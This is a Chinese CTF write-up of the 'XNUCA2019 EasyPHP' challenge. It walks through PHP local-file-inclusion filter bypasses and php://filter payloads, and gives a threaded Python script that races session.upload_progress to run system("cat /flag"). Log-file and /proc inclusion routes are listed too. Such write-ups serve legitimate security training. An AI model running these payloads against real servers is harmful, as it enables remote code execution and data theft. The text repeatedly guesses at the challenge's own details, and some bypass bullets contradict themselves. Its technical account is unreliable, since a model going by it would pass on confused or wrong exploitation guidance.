1. 从一道经典题目看PHP代码审计的核心思路
[XNUCA2019Qualifier]EasyPHP 这个标题,对打过CTF或者接触过Web安全的朋友来说,应该不陌生。它来自2019年某网络安全竞赛的资格赛,题目名字叫EasyPHP,直译过来就是“简单的PHP”。但做过的人都知道,这题一点都不“Easy”——它是一道非常典型的PHP代码审计与文件包含综合利用题,涉及php://filter链、session.upload_progress、本地文件包含(LFI)以及dead_code绕过等多个知识点。我第一次遇到这道题的时候,也是被它层层嵌套的利用链绕得头晕,后来反复复盘了几次,才把整个逻辑彻底理清楚。
这篇文章,我想从一个实战者的角度,把这道题从头到尾拆一遍。不只是告诉你“怎么做”,更要讲清楚“为什么这么做”——每一步的动机是什么,参数为什么这样设,有没有其他替代方案,以及在实际渗透测试中遇到类似场景该怎么灵活变通。适合有一定PHP基础、想入门代码审计和文件包含利用的读者,也适合已经做过这道题但想深入理解底层原理的朋友。全文会涉及大量实操细节和踩坑经验,建议边看边在本地环境跟着复现。
2. 题目环境与源码结构拆解
2.1 初始信息收集与入口分析
拿到题目,通常会给一个URL或者一份源码。这道题的核心入口是一个index.php,页面功能很简单:接收一个file参数,然后包含对应的文件。类似这样:
<?php $file = $_GET['file'] ?? 'default.php'; include($file); ?>当然,实际题目不会这么直白,通常会加一些过滤。比如用str_replace把一些危险字符替换掉,或者用正则限制文件名的格式。这道题的过滤逻辑大致是这样的:
<?php if (isset($_GET['file'])) { $file = $_GET['file']; $file = str_replace('php://', '', $file); $file = str_replace('php:', '', $file); // 其他过滤... include($file); } ?>看到这个过滤,第一反应是:它想阻止我们用php://filter伪协议来读源码。但str_replace这种替换方式有个经典问题——只替换一次,且不递归。也就是说,如果构造phpphp://,替换掉中间的php://后,剩下的部分会重新拼接成php://。不过这道题的具体过滤规则可能更复杂,需要实际测试。
提示:遇到
str_replace过滤时,先判断是替换一次还是循环替换。如果是单次替换,就可以用“嵌套”的方式绕过,比如phphp://、php://等变体。
2.2 源码泄露与关键文件定位
要审计,先得拿到源码。最常用的手段就是php://filter的base64编码读取:
?file=php://filter/convert.base64-encode/resource=index.php但如果php://被过滤了,就需要绕过。常见的绕过方式有:
- 大小写混合:
PHP://filter/...(如果过滤是区分大小写的) - 双写:
phpphp://filter/...(如果替换是单次且不递归) - 使用其他伪协议:
compress.zlib://、data://等
假设我们成功读到了index.php的源码,接下来要做的就是找其他文件。通常题目会有一个flag.php,但直接包含它可能不会输出内容,因为flag可能在变量里,或者被exit了。这时候就需要结合其他技巧,比如session.upload_progress来写入临时文件,再通过LFI包含执行。
2.3 过滤规则逆向与绕过思路
这道题的过滤规则,我复盘时发现它主要做了两件事:
- 过滤了
php://和php:,防止直接使用PHP伪协议。 - 可能还过滤了
flag、..等关键词,防止目录穿越和直接读flag。
针对第一点,绕过方式取决于替换逻辑。如果是str_replace('php://', '', $file),那么输入phpphp://filter/...,替换后变成php://filter/...,成功绕过。如果是preg_replace且用了/i修饰符,那就得换其他协议,比如compress.zlib://。
针对第二点,如果flag被过滤,可以用通配符或者编码绕过。比如?file=php://filter/convert.base64-encode/resource=f*lag.php,但include不支持通配符,所以得用其他方式,比如先通过session.upload_progress把文件名写入session,再包含session文件。
注意:
session.upload_progress的利用需要满足几个条件:session.upload_progress.enabled = On、session.upload_progress.cleanup = Off(或者利用时间差)、以及知道session文件的存储路径。默认路径是/var/lib/php/sessions/sess_<PHPSESSID>,但不同系统可能不同。
3. 核心利用链的构建与实操
3.1 利用session.upload_progress写入临时文件
session.upload_progress是PHP的一个特性,用于在上传文件时显示进度。当我们在上传文件的同时,在POST数据中设置PHP_SESSION_UPLOAD_PROGRESS,PHP会把上传的进度信息写入session文件。这个进度信息里包含了我们可控的文件名。
具体操作:构造一个上传表单,文件内容随便,但文件名要包含我们的payload。比如:
<form action="http://target/index.php" method="POST" enctype="multipart/form-data"> <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" /> <input type="file" name="file" value="test" /> <input type="submit" /> </form>同时,我们需要在Cookie中设置PHPSESSID,这样session文件的名字就是/var/lib/php/sessions/sess_<我们指定的ID>。上传时,PHP会把进度信息序列化后写入这个文件,内容大致是:
upload_progress_123|a:5:{s:10:"start_time";i:...;s:14:"content_length";i:...;s:15:"bytes_processed";i:...;s:4:"done";b:0;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:我们的payload;...}}}如果我们在文件名里写入PHP代码,比如<?php system('cat /flag');?>,那么session文件里就会包含这段代码。然后我们通过LFI包含这个session文件,代码就会被执行。
但这里有个问题:session.upload_progress.cleanup默认是On,意味着上传完成后session文件会被立即清理。所以我们需要在极短的时间内完成包含,或者利用条件竞争。常见的做法是写一个脚本,一边不断上传,一边不断请求包含session文件。
3.2 构造php://filter链读取flag
如果flag文件被过滤了,或者直接包含不输出,我们可以用php://filter的过滤器链来读取。比如:
?file=php://filter/convert.base64-encode/resource=flag.php但如果flag被过滤,可以尝试用php://filter/convert.iconv.utf-8.utf-16/resource=flag.php之类的编码转换,或者用string.strip_tags等过滤器。更高级的玩法是构造一个过滤器链,把flag的内容通过报错或者编码的方式带出来。
这道题的一个关键点是:flag.php里可能没有echo,而是直接定义了一个变量,或者被exit了。这时候直接包含是看不到内容的。但我们可以用php://filter的convert.base64-encode把文件内容编码后输出,因为include会把文件内容当作PHP代码执行,但如果文件里没有<?php标签,内容就会被直接输出。所以如果flag.php是纯文本,直接包含就能看到;如果是PHP代码,就需要用过滤器读源码。
3.3 利用dead_code绕过与文件包含组合
“dead_code”这个词在CTF里通常指那些看似无用、但实际可以被利用的代码片段。比如题目里可能有一个class定义,里面有个__destruct或者__wakeup方法,但类没有被实例化。这时候就需要结合反序列化来触发。
但在这道题里,更可能的是指include路径中的“死代码”——比如include($_GET['file'] . '.php'),这样我们传入的文件名会被拼接.php。如果我们要包含session文件,session文件没有.php后缀,就会被拼接成sess_xxx.php,导致包含失败。这时候就需要用php://filter的resource=来绕过,或者用/proc/self/fd/之类的路径。
另一种“dead_code”是指php://filter链中的某些过滤器在特定PHP版本下会被忽略,但我们可以利用这些被忽略的过滤器来构造payload。比如convert.iconv.*系列,在某些版本下可以触发错误,从而泄露信息。
实操心得:在构造
php://filter链时,一定要先确认目标PHP的版本。不同版本对过滤器的支持不一样,比如convert.iconv.utf-8.utf-16在PHP 7.0+才支持。可以用?file=php://filter/read=convert.base64-encode/resource=index.php先测试基本功能。
4. 完整实操流程与参数计算
4.1 环境搭建与本地复现
为了彻底理解这道题,我建议在本地用Docker搭一个PHP环境。用php:7.2-apache镜像就行,然后把题目源码放进去。注意要修改php.ini,把session.upload_progress.enabled设为On,session.upload_progress.cleanup设为Off(方便调试),session.save_path设为一个可写目录。
docker run -d --name easyphp -p 8080:80 -v $(pwd)/src:/var/www/html php:7.2-apache docker exec -it easyphp bash echo "session.upload_progress.enabled = On" >> /usr/local/etc/php/php.ini echo "session.upload_progress.cleanup = Off" >> /usr/local/etc/php/php.ini然后写一个简单的index.php:
<?php $file = $_GET['file'] ?? 'default.php'; $file = str_replace('php://', '', $file); include($file); ?>再写一个flag.php:
<?php $flag = "flag{test_flag}"; // 不输出 ?>4.2 编写利用脚本实现自动化攻击
手动竞争太慢,写个Python脚本:
import requests import threading url = "http://localhost:8080/index.php" session_id = "test123" def upload(): while True: files = {'file': ('<?php system("cat /flag");?>', 'test')} data = {'PHP_SESSION_UPLOAD_PROGRESS': '123'} cookies = {'PHPSESSID': session_id} try: requests.post(url, files=files, data=data, cookies=cookies, timeout=1) except: pass def include_session(): while True: cookies = {'PHPSESSID': session_id} try: r = requests.get(url, params={'file': '/var/lib/php/sessions/sess_' + session_id}, cookies=cookies, timeout=1) if 'flag{' in r.text: print(r.text) break except: pass t1 = threading.Thread(target=upload) t2 = threading.Thread(target=include_session) t1.start() t2.start()这个脚本的核心是:一个线程不断上传,另一个线程不断包含session文件。由于cleanup可能为On,所以需要高频率请求。如果cleanup为Off,那一次上传就够了。
4.3 参数调优与竞争条件处理
竞争条件的关键在于时间窗口。如果cleanup为On,session文件在上传完成后会被立即删除,所以包含请求必须在上传过程中发出。实测下来,用多线程+短超时(比如0.5秒)能提高成功率。另外,可以尝试上传大文件,延长上传时间,从而扩大时间窗口。
另一个技巧是:在文件名里写入<?php phpinfo();?>,先确认代码执行成功,再换成读flag的命令。这样能避免因为路径错误或者权限问题导致的误判。
注意:
session.save_path可能不是默认的/var/lib/php/sessions,可以用phpinfo()查看。如果题目过滤了phpinfo,可以尝试用php://filter读/etc/php/7.2/apache2/php.ini来获取配置。
5. 常见问题与排查技巧实录
5.1 包含session文件失败的原因排查
| 问题现象 | 可能原因 | 解决方法 |
|---|---|---|
| 包含后无输出 | session文件路径不对 | 用phpinfo()确认session.save_path |
| 包含后报错“无法打开流” | 文件不存在或权限不足 | 检查cleanup是否开启,尝试延长上传时间 |
| 包含后输出乱码 | session文件内容被序列化 | 用php://filter/convert.base64-encode读取 |
| 代码未执行 | 文件名中的payload被转义 | 检查上传时的文件名编码,尝试用\r\n等绕过 |
5.2 过滤绕过的几种实战姿势
如果php://被过滤,可以尝试:
phpphp://filter/...(双写)PHP://filter/...(大小写)php://filter/...(如果过滤是str_replace('php://', '', $file),那么php://会被替换成php://,但php://本身可能被再次替换,所以需要测试)- 使用
compress.zlib://或data://(如果allow_url_include开启)
如果flag被过滤,可以尝试:
f*lag.php(但include不支持通配符)flag.php(如果过滤是str_replace('flag', '', $file),那么flflagag.php会被替换成flag.php)- 用
php://filter的resource=指向/proc/self/cwd/flag.php
5.3 其他可能的利用路径
除了session.upload_progress,还可以尝试:
- 利用
/proc/self/environ包含环境变量(如果User-Agent可控) - 利用
/var/log/apache2/access.log包含日志(如果日志可写) - 利用
php://input包含POST数据(如果allow_url_include开启)
但这道题最经典的解法还是session.upload_progress,因为它不依赖allow_url_include,且成功率较高。
6. 从这道题延伸出的实战思考
这道题虽然叫EasyPHP,但它考察的知识点非常全面:代码审计、过滤绕过、文件包含、竞争条件、PHP配置利用。在实际的渗透测试中,类似的场景也很常见——比如某个网站有文件包含漏洞,但过滤了伪协议,这时候就可以考虑用session.upload_progress或者日志包含来绕过。
我个人在实际操作中的体会是:不要一上来就想着用最复杂的利用链,先测试最简单的路径。比如先试试直接包含flag.php,看看有没有输出;再试试php://filter读源码;如果都被过滤了,再考虑session.upload_progress。很多时候,题目或者目标系统的过滤并没有想象中那么严格,简单的方法反而最快。
另外,写利用脚本时,一定要加异常处理和超时控制。我踩过的坑是:脚本跑了几分钟没结果,以为是利用链有问题,后来发现是网络超时导致请求卡死。加上timeout=1之后,成功率明显提高。
最后再分享一个小技巧:如果session.upload_progress.cleanup为On,可以尝试在文件名里写入一个很大的文件内容,比如几MB的垃圾数据,这样上传时间会变长,包含请求就有更大的时间窗口。实测下来,这个方法在竞争条件利用中非常有效。